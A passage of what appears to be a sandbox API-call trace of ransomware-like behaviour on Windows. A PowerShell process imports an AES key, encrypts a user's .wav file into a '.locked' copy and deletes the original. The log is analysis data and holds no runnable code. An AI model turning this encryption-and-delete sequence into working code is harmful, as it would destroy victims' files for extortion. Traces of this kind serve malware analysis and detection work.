OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.632] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.633] SystemFunction041 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.633] SystemFunction040 (in: Memory=0x8e30d64, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30d64) returned 0x0 [0134.634] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x8e02828) returned 1 [0134.634] CryptImportKey (in: hProv=0x8e02828, pbData=0x6aa4464, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e849f8) returned 1 [0134.634] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.635] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.635] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.635] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.635] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.636] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0134.636] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.637] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.637] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.637] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.637] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.637] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.637] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.637] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.637] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.637] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0134.638] GetFileType (hFile=0x858) returned 0x1 [0134.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.638] GetFileType (hFile=0x858) returned 0x1 [0134.638] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.638] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0134.638] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.638] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.638] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked", lpFilePart=0x0) returned 0x2f [0134.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0134.639] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0134.639] GetFileType (hFile=0x874) returned 0x1 [0134.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0134.639] GetFileType (hFile=0x874) returned 0x1 [0134.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.639] CryptGenRandom (in: hProv=0x8e02828, dwLen=0x10, pbBuffer=0x6ab9344 | out: pbBuffer=0x6ab9344) returned 1 [0134.639] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.639] CryptDuplicateKey (in: hKey=0x8e849f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e85138) returned 1 [0134.640] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.640] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x4, pbData=0x6aba600*=0x1, dwFlags=0x0) returned 1 [0134.640] CryptSetKeyParam (hKey=0x8e85138, dwParam=0x1, pbData=0x6aba5cc, dwFlags=0x0) returned 1 [0134.640] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0134.640] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.640] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.640] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.640] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.640] ReadFile (in: hFile=0x858, lpBuffer=0x6abdb5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6abdb5c*, lpNumberOfBytesRead=0x99ae7a8*=0x285b, lpOverlapped=0x0) returned 1 [0134.640] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ad1b68*, pdwDataLen=0x99ae79c*=0x2850, dwBufLen=0x2850 | out: pbData=0x6ad1b68*, pdwDataLen=0x99ae79c*=0x2850) returned 1 [0134.641] WriteFile (in: hFile=0x874, lpBuffer=0x6ab9404*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ab9404*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0134.641] WriteFile (in: hFile=0x874, lpBuffer=0x6ad2b54*, nNumberOfBytesToWrite=0x1864, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6ad2b54*, lpNumberOfBytesWritten=0x99ae780*=0x1864, lpOverlapped=0x0) returned 1 [0134.642] ReadFile (in: hFile=0x858, lpBuffer=0x6abdb5c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6abdb5c*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0134.642] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6ad43dc*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6ad43dc*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0134.642] CryptEncrypt (in: hKey=0x8e85138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ad4410*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6ad4410*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0134.642] WriteFile (in: hFile=0x874, lpBuffer=0x6ab9404*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6ab9404*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0134.642] CloseHandle (hObject=0x874) returned 1 [0134.643] CloseHandle (hObject=0x858) returned 1 [0134.643] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.643] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.643] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.643] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.644] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0134.645] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.645] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.645] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0134.645] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.645] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0134.645] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.645] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0134.645] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.645] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0134.645] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.646] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0134.646] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.646] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0134.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music" (normalized: "c:\\users\\ciihmnxmn6ps\\music")) returned 0x11 [0134.647] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.647] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music", lpFilePart=0x0) returned 0x1b [0134.647] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0134.647] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.647] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0134.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.648] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav\\", lpFilePart=0x0) returned 0x29 [0134.648] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0134.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0134.648] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0134.648] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0134.648] CoTaskMemFree (pv=0x8eb8930) [0134.649] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 0x20 [0134.650] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.650] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav", lpFilePart=0x0) returned 0x28 [0134.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0134.650] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav"), fInfoLevelId=0x0, lpFileInformation=0x6ae59e4 | out: lpFileInformation=0x6ae59e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7514480, ftCreationTime.dwHighDateTime=0x1d4a017, ftLastAccessTime.dwLowDateTime=0x3cf1b0b0, ftLastAccessTime.dwHighDateTime=0x1d4a423, ftLastWriteTime.dwLowDateTime=0x3cf1b0b0, ftLastWriteTime.dwHighDateTime=0x1d4a423, nFileSizeHigh=0x0, nFileSizeLow=0x285b)) returned 1 [0134.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0134.650] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\bqmJjjj-.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\bqmjjjj-.wav")) returned 1 [0134.651] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0134.651] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.652] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 